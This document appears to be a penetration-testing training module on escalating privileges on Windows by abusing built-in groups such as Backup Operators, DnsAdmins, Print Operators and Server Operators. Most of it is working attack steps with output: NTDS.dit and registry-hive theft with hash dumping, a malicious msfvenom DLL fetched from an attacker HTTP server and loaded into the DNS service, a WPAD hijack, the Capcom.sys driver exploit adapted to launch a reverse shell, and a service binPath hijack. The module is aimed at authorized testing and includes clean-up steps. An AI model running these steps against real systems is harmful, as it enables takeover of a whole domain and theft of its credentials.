Windows Group Privileges

Windows Built-in Groups

As mentioned in the Windows Privileges Overview section, Windows servers, and especially Domain Controllers, have a variety of built-in groups that either ship with the operating system or get added when the Active Directory Domain Services role is installed on a system to promote a server to a Domain Controller.

This page has a detailed listing of privileged accounts and groups in Active Directory.

Accounts may be assigned to these groups to enforce least privilege and avoid creating more Domain Admins and Enterprise Admins to perform specific tasks, such as backups. Sometimes vendor applications will also require certain privileges, which can be granted by assigning a service account to one of these groups. Accounts may also be added by accident or leftover after testing a specific tool or script. We should always check these groups and include a list of each group's members as an appendix in our report for the client to review and determine if access is still necessary.

Backup Operators

Event Log Readers

DnsAdmins

Hyper-V Administrators

Print Operators

Server Operators

Backup Operators

After landing on a machine, we can use the command whoami /groups to show our current group memberships. Let's examine the case where we are a member of the Backup Operators group. Membership of this group grants its members the SeBackup and SeRestore privileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder's access control list (ACL). However, we can't do this using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.

We can use this PoC to exploit the SeBackupPrivilege, and copy this file. First, let's import the libraries in a PowerShell session.

Importing Libraries

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Verifying SeBackupPrivilege is Enabled

Let's check if SeBackupPrivilege is enabled by invoking whoami /priv or Get-SeBackupPrivilege cmdlet. If the privilege is disabled, we can enable it with Set-SeBackupPrivilege.

Based on the server's settings, it might be required to spawn an elevated CMD prompt to bypass UAC and have this privilege.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Get-SeBackupPrivilege

Enabling SeBackupPrivilege

If the privilege is disabled, we can enable it with Set-SeBackupPrivilege.

Set-SeBackupPrivilege

Copying a Protected File

dir C:\Confidential\

    Directory: C:\Confidential

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         5/6/2021   1:01 PM             88 2021 Contract.txt

cat 'C:\Confidential\2021 Contract.txt'

cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
   izedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt
cat .\Contract.txt

Inlanefreight 2021 Contract

==============================

Board of Directors:

<...SNIP...>

The commands above demonstrate how sensitive information was accessed without possessing the required permissions.

Attacking a Domain Controller - Copying NTDS.dit

This group also permits logging in locally to a domain controller. The active directory database NTDS.dit is a very attractive target, as it contains the NTLM hashes for all user and computer objects in the domain. However, this file is locked and is also not accessible by unprivileged users.

As the NTDS.dit file is locked by default, we can use the Windows diskshadow utility to create a shadow copy of the C drive and expose it as E drive. The NTDS.dit in this shadow copy won't be in use by the system.

diskshadow.exe
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
dir E:

Copying NTDS.dit Locally

Next, we can use the Copy-FileSeBackupPrivilege cmdlet to bypass the ACL and copy the NTDS.dit locally.

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Backing up SAM and SYSTEM Registry Hives

The privilege also lets us back up the SAM and SYSTEM registry hives, which we can extract local account credentials offline using a tool such as Impacket's secretsdump.py

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

It's worth noting that if a folder or file has an explicit deny entry for our current user or a group they belong to, this will prevent us from accessing it, even if the FILE_FLAG_BACKUP_SEMANTICS flag is specified.

Extracting Credentials from NTDS.dit

With the NTDS.dit extracted, we can use a tool such as secretsdump.py or the PowerShell DSInternals module to extract all Active Directory account credentials. Let's obtain the NTLM hash for just the administrator account for the domain using DSInternals.

Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

Extracting Hashes Using SecretsDump

We can also use SecretsDump offline to extract hashes from the ntds.dit file obtained earlier. These can then be used for pass-the-hash to access additional resources or cracked offline using Hashcat to gain further access. If cracked, we can also present the client with password cracking statistics to provide them with detailed insight into overall password strength and usage within their domain and provide recommendations for improving their password policy (increasing minimum length, creating a dictionary of disallowed words, etc.).

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Robocopy

Copying Files with Robocopy

The built-in utility robocopy can be used to copy files in backup mode as well. Robocopy is a command-line directory replication tool. It can be used to create backup jobs and includes features such as multi-threaded copying, automatic retry, the ability to resume copying, and more. Robocopy differs from the copy command in that instead of just copying all files, it can check the destination directory and remove files no longer in the source directory. It can also compare files before copying to save time by not copying files that have not been changed since the last copy/backup job ran.

robocopy /B E:\Windows\NTDS .\ntds ntds.dit

This eliminates the need for any external tools.

Event Log Readers

Suppose auditing of process creation events and corresponding command line values is enabled.

In that case, this information is saved to the Windows security event log as event ID 4688: A new process has been created. Organizations may enable logging of process command lines to help defenders monitor and identify possibly malicious behavior and identify binaries that should not be present on a system. This data can be shipped to a SIEM tool or ingested into a search tool, such as ElasticSearch, to give defenders visibility into what binaries are being run on systems in the network. The tools would then flag any potentially malicious activity, such as the whoami, netstat, and tasklist commands being run from a marketing executive's workstation.

This study shows some of the most run commands by attackers after initial access (tasklist, ver, ipconfig, systeminfo, etc.), for reconnaissance (dir, net view, ping, net use, type, etc.), and for spreading malware within a network (at, reg, wmic, wusa, etc.).

Administrators or members of the Event Log Readers group have permission to access this log. It is conceivable that system administrators might want to add power users or developers into this group to perform certain tasks without having to grant them administrative access.

Confirming Group Membership

net localgroup "Event Log Readers"

Microsoft has published a reference guide for all built-in Windows commands, including syntax, parameters, and examples. Many Windows commands support passing a password as a parameter, and if auditing of process command lines is enabled, this sensitive information will be captured.

We can query Windows events from the command line using the wevtutil utility and the Get-WinEvent PowerShell cmdlet.

Searching Security Logs Using wevtutil

wevtutil qe Security /rd:true /f:text | Select-String "/user"

We can also specify alternate credentials for wevtutil using the parameters /u and /p.

wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

For Get-WinEvent, the syntax is as follows. In this example, we filter for process creation events (4688), which contain /user in the process command line.

Searching the Security event log with Get-WInEvent requires administrator access or permissions adjusted on the registry key HKLM\System\CurrentControlSet\Services\Eventlog\Security. Membership in just the Event Log Readers group is not sufficient.

Searching Security Logs Using Get-WinEvent

Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

The cmdlet can also be run as another user with the -Credential parameter.

Other logs include PowerShell Operational log, which may also contain sensitive information or credentials if script block or module logging is enabled. This log is accessible to unprivileged users.

DnsAdmins

Members of the DnsAdmins group have access to DNS information on the network. The Windows DNS service supports custom plugins and can call functions from them to resolve name queries that are not in the scope of any locally hosted DNS zones. The DNS service runs as NT AUTHORITY\SYSTEM, so membership in this group could potentially be leveraged to escalate privileges on a Domain Controller or in a situation where a separate server is acting as the DNS server for the domain. It is possible to use the built-in dnscmd utility to specify the path of the plugin DLL. As detailed in this excellent post, the following attack can be performed when DNS is run on a Domain Controller (which is very common):

  • DNS management is performed over RPC

  • ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line

  • When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll registry key is populated

  • When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)

  • An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

Leveraging DnsAdmins Access

Generating Malicious DLL

We can generate a malicious DLL to add a user to the domain admins group using msfvenom.

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

Starting Local HTTP Server

python3 -m http.server 7777

Downloading File to Target

wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

Let's first see what happens if we use the dnscmd utility to load a custom DLL with a non-privileged user.

Loading DLL as Non-Privileged User

dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

As expected, attempting to execute this command as a normal user isn't successful. Only members of the DnsAdmins group are permitted to do this.

Loading DLL as Member of DnsAdmins

Get-ADGroupMember -Identity DnsAdmins
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109

Loading Custom DLL

After confirming group membership in the DnsAdmins group, we can re-run the command to load a custom DLL.

dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

We must specify the full path to our custom DLL or the attack will not work properly.

Only the dnscmd utility can be used by members of the DnsAdmins group, as they do not directly have permission on the registry key.

After restarting the DNS service (if our user has this level of access), we should be able to run our custom DLL and add a user (in our case) or get a reverse shell. If we do not have access to restart the DNS server, we will have to wait until the server or service restarts. Let's check our current user's permissions on the DNS service.

Finding User's SID

wmic useraccount where name="netadm" get sid

Checking Permissions on DNS Service

Once we have the user's SID, we can use the sc command to check permissions on the service. Per this article, we can see that our user has RPWP permissions which translate to SERVICE_START and SERVICE_STOP, respectively.

sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

(SDDL syntax in Windows)

Stopping the DNS Service

sc.exe stop dns

Starting the DNS Service

sc.exe start dns

Confirming Group Membership

net group "Domain Admins" /dom

Cleaning Up

Making configuration changes and stopping/restarting the DNS service on a Domain Controller are very destructive actions and must be exercised with great care. As a penetration tester, we need to run this type of action by our client before proceeding with it since it could potentially take down DNS for an entire Active Directory environment and cause many issues. If our client gives their permission to go ahead with this attack, we need to be able to either cover our tracks and clean up after ourselves or offer our client steps on how to revert the changes.

These steps must be taken from an elevated console with a local or domain admin account.

Confirming Registry Key Added

reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

Deleting Registry Key

reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Starting the DNS Service Again

sc.exe start dns

Checking DNS Service Status

sc.exe query dns

Once again, this is a potentially destructive attack that we should only carry out with explicit permission from and in coordination with our client. If they understand the risks and want to see a full proof of concept, then the steps outlined in this section will help demonstrate the attack and clean up afterward.

Using Mimilib.dll

As detailed in this post, we could also utilize mimilib.dll from the creator of the Mimikatz tool to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.

/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	[email protected]
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}

Creating a WPAD Record

Another way to abuse DnsAdmins group privileges is by creating a WPAD record. Membership in this group gives us the rights to disable global query block security, which by default blocks this attack. Server 2008 first introduced the ability to add to a global query block list on a DNS server. By default, Web Proxy Automatic Discovery Protocol (WPAD) and Intra-site Automatic Tunnel Addressing Protocol (ISATAP) are on the global query block list. These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names.

After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use a tool such as Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

Disabling the Global Query Block List

Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Adding a WPAD Record

Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Hyper-V Administrators

The Hyper-V Administrators group has full access to all Hyper-V features. If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins. They could easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain.

It is also well documented on this blog, that upon deleting a virtual machine, vmms.exe attempts to restore the original file permissions on the corresponding .vhdx file and does so as NT AUTHORITY\SYSTEM, without impersonating the user. We can delete the .vhdx file and create a native hard link to point this file to a protected SYSTEM file, which we will have full permissions to.

If the operating system is vulnerable to CVE-2018-0952 or CVE-2019-0841, we can leverage this to gain SYSTEM privileges. Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users.

Target File

An example of this is Firefox, which installs the Mozilla Maintenance Service. We can update this exploit (a proof-of-concept for NT hard link) to grant our current user full permissions on the file below:

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Taking Ownership of the File

After running the PowerShell script, we should have full control of this file and can take ownership of it.

takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Starting the Mozilla Maintenance Service

sc.exe start MozillaMaintenance

This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links.

Print Operators

Print Operators is another highly privileged group, which grants its members the SeLoadDriverPrivilege, rights to manage, create, share, and delete printers connected to a Domain Controller, as well as the ability to log on locally to a Domain Controller and shut it down. If we issue the command whoami /priv, and don't see the SeLoadDriverPrivilege from an unelevated context, we will need to bypass UAC.

Confirming Privileges

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name           Description                          State
======================== =================================    =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process   Disabled
SeChangeNotifyPrivilege  Bypass traverse checking             Enabled
SeShutdownPrivilege      Shut down the system                 Disabled

Checking Privileges Again

The UACMe repo features a comprehensive list of UAC bypasses, which can be used from the command line. Alternatively, from a GUI, we can open an administrative command shell and input the credentials of the account that is a member of the Print Operators group. If we examine the privileges again, SeLoadDriverPrivilege is visible but disabled.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================  ==========
SeMachineAccountPrivilege     Add workstations to domain           Disabled
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

It's well known that the driver Capcom.sys contains functionality to allow any user to execute shellcode with SYSTEM privileges. We can use our privileges to load this vulnerable driver and escalate privileges. We can use this tool to load the driver. The PoC enables the privilege as well as loads the driver for us.

Download it locally and edit it, pasting over the includes below.

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

Next, from a Visual Studio 2019 Developer Command Prompt, compile it using cl.exe.

cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Add Reference to Driver

Next, download the Capcom.sys driver from here, and save it to C:\temp. Issue the commands below to add a reference to this driver under our HKEY_CURRENT_USER tree.

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

The odd syntax \??\ used to reference our malicious driver's ImagePath is an NT Object Path. The Win32 API will parse and resolve this path to properly locate and load our malicious driver.

Verify Driver is not Loaded

Using Nirsoft's DriverView.exe, we can verify that the Capcom.sys driver is not loaded.

.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom

Verify Privilege is Enabled

Run the EnableSeLoadDriverPrivilege.exe binary.

EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege        Disabled
SeLoadDriverPrivilege            Enabled
SeShutdownPrivilege              Disabled
SeChangeNotifyPrivilege          Enabled by default
SeIncreaseWorkingSetPrivilege    Disabled
NTSTATUS: 00000000, WinError: 0

Verify Capcom Driver is Listed

Next, verify that the Capcom driver is now listed.

.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom

Use ExploitCapcom Tool to Escalate Privileges

To exploit the Capcom.sys, we can use the ExploitCapcom tool after compiling with it Visual Studio.

.\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

This launches a shell with SYSTEM privileges.

Alternate Exploitation - No GUI

If we do not have GUI access to the target, we will have to modify the ExploitCapcom.cpp code before compiling. Here we can edit line 292 and replace "C:\\Windows\\system32\\cmd.exe" with, say, a reverse shell binary created with msfvenom, for example: c:\ProgramData\revshell.exe.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

The CommandLine string in this example would be changed to:

TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

We would set up a listener based on the msfvenom payload we generated and hopefully receive a reverse shell connection back when executing ExploitCapcom.exe. If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.

Automating the Steps

Automating with EopLoadDriver

We can use a tool such as EoPLoadDriver to automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriver to load the driver. To do this, we would run the following:

EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

We would then run ExploitCapcom.exe to pop a SYSTEM shell or run our custom binary.

Clean-up

Removing Registry Key

We can cover our tracks a bit by deleting the registry key added earlier.

reg delete HKCU\System\CurrentControlSet\Capcom

Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes

The operation completed successfully.

Since Windows 10 Version 1803, the "SeLoadDriverPrivilege" is not exploitable, as it is no longer possible to include references to registry keys under "HKEY_CURRENT_USER".

Server Operators

The Server Operators group allows members to administer Windows servers without needing assignment of Domain Admin privileges. It is a very highly privileged group that can log in locally to servers, including Domain Controllers.

Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

Querying the AppReadiness Service

sc.exe qc AppReadiness

Checking Service Permissions with PsService

We can use the service viewer/controller PsService, which is part of the Sysinternals suite, to check permissions on the service. PsService works much like the sc utility and can display service status and configurations and also allow you to start, stop, pause, resume, and restart services both locally and on remote hosts.

c:\Tools\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
        ACCOUNT: LocalSystem
        SECURITY:
        [ALLOW] NT AUTHORITY\SYSTEM
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                Pause/Resume
                Start
                Stop
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Administrators
                All
        [ALLOW] NT AUTHORITY\INTERACTIVE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] NT AUTHORITY\SERVICE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Server Operators
                All

This confirms that the Server Operators group has SERVICE_ALL_ACCESS access right, which gives us full control over this service.

Checking Local Admin Group Membership

net localgroup Administrators

Modifying the Service Binary Path

Let's change the binary path to execute a command which adds our current user to the default local administrators group.

sc.exe config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"

Starting the Service

sc.exe start AppReadiness

Starting the service fails, which is expected.

Confirming Local Admin Group Membership

If we check the membership of the administrators group, we see that the command was executed successfully.

net localgroup Administrators

Confirming Local Admin Access on Domain Controller

From here, we have full control over the Domain Controller and could retrieve all credentials from the NTDS database and access other systems, and perform post-exploitation tasks.

crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'

Retrieving NTLM Password Hashes from the Domain Controller

secretsdump.py [email protected] -just-dc-user administrator
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...

PreviousWindows User PrivilegesNextAttacking the OS

Last updated